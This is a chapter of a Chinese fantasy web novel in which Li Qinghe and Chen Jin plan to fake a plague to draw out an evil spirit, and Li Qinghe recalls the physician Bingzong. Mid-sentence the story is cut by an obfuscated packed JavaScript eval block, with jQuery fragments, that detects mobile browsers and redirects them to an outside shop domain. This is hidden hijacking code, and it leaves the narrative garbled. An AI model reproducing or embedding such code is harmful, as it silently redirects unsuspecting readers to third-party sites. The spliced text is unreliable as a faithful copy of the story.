离清河继续喝茶,辰金也不知想说什么,猛然将脑袋凑得更近,害得离清河险些将一口茶水吐出来。
“离姑娘,既然你能和神仙打架,就说明本事挺大,难道没有能直接找出恶灵的法子?”
这句话绝不是辰金讥讽,而是他真觉着离清河厉害,对着天上神仙说杀就杀,区区找个恶灵还能困倒她不成?
“有,但不能用。”离清河早料到他会这么问。
“为什么???”
“通过释放神力,的确能找到恶灵所在,但在神力波及范围下,万物皆会遭受影响。上天庭一战,是我与真武之间波及的范围可互抵,旁人自然感受不到神力冲击。
若是在这儿使用,百里之内,在场所有生灵一个也逃不掉。恶灵能承受住我的力量挤压,但这些凡人,可就瞬间化为灰烬了。”说完,离清河又端起了茶杯。
辰金没想到会如此复杂,既然不能依靠离清河的神力找出恶灵,那么他们现下还能做什么?
桌上的茶他一口没动,只一直用手杵着下巴,似乎在思考着什么,忽然,他的手一敲,“啊!我想到了!”
离清河看向辰金:“想到什么?”
“咱们来一招引蛇出洞!”
听着这话,离清河嘴上衔着一抹笑意:“身子不壮,胆子倒挺大。”
辰金不以为意:“这时候就别调侃我了,好不容易有法子,咱们就试试吧。”
离清河没回应也没拒绝,示意辰金继续说下去。
“还记得我在城外提到过的好友?他叫阿天。
离清河点头。
“他以前给我说过,利荣城曾经差点染了疫病,利用这一点,我们直接谎称这城内有瘟疫,我略懂医术,可以假借名医身份,负责看诊。这样一来,不仅可以打探消息,还能让恶灵主动找上门儿来!”
一口气说完后,辰金觉着嗓子有些干痒。
离清河端着茶说:“我明白了,假瘟疫一事倒是好办,我来处理,可名医……你该怎样坐实这个身份?”
面对离清河的疑虑,辰金自信地拍了拍胸脯。“简单,报上某位名医身份便行,就说我是他的传人,自然能让人信服。”
原来是假借师徒之名啊,离清河端着茶杯的手停在半空,其实她在很多年前是来过西南的,只是千年的愤怒暂时掩盖了部分回忆。
她想起来,那一天,也是在城郊的草坡上,秉宗问了她一句“感谢我?那——拜师吗?拜了我就不会离开。”
而离清河回答了什么呢,自然是“想得美。”那时,她只认为是他的一句玩笑并未放在心上,他怎么可能舍得离开她呢。
直到现在回忆起,她才察觉,原来他说的离开竟是实话,可那句话又是什么意思呢?想让她挽留?还是他想给自己留下来找个借口?为什么这么做?
“离姑娘?离清河?你有没有在听我讲话?喂!”辰金在她面前疯狂挥手。
离清河在一阵呼唤中回过神,问他:“哪位神医?凭你一言,众人又如何断定真假?”
说到这儿,辰金突然变得贼眼嘻嘻,仿佛能从裤兜里掏出什么惊喜。“你瞧。”
离清河凑近,低下头盯着辰金手掌里的一小块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894062|212807||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
木牌,上面刻着四个字:医者宗青。
果真是他——秉宗常年在外行医从不报上自己的真名,他造了个假身份:宗青。
往后千余年,江湖上一直流传着一代神医的故事,医术高明,任人治病,不问缘由,不计报酬。
完美的不像尘世间的凡人,百姓亲切地称呼他为“小医仙”。
世人皆知医仙宗青,不知真人秉宗。想当初,这名字还是她给取的呢。
秉宗说,青山是大道专门为她打造的神器,所以她将“青”一字赠与了他。这块木牌秉宗一直挂在身上,所见之人颇多,传言里见了这块牌,便知与他有关。
“你可知宗青是何人?”辰金挑着眉,看似在向离清河炫耀此事。“你可知我是如何得到这般珍贵之物的?”
“不知,不感兴趣,说不定是假物。”离清河转过头,自个儿起身离开了,她不太想搭理辰金,知道辰金有办法让人信服就够了,其余之事,她不想回忆太多。
“唉!你别走啊!”辰金也不知离清河是怎的生了气,他将银子放在桌上后,赶忙追了上去。
“恩人给我的东西绝不可能是假的。是他说若以后遇到困难,有这木牌或许能救我一命,没成想这么快就派上了用场。”辰金说着说着还有点惊讶。
“他还真是未雨绸缪。”离清河瘪嘴,能预料辰金可能遇险,就没有预料到她会一直找他?分明是故意假装糊涂。
离清河受不住辰金一直在耳旁唠叨,变着法儿地告诉她那块木牌是真货。她有些不耐烦,“行,就照你说的办。”
“得嘞!”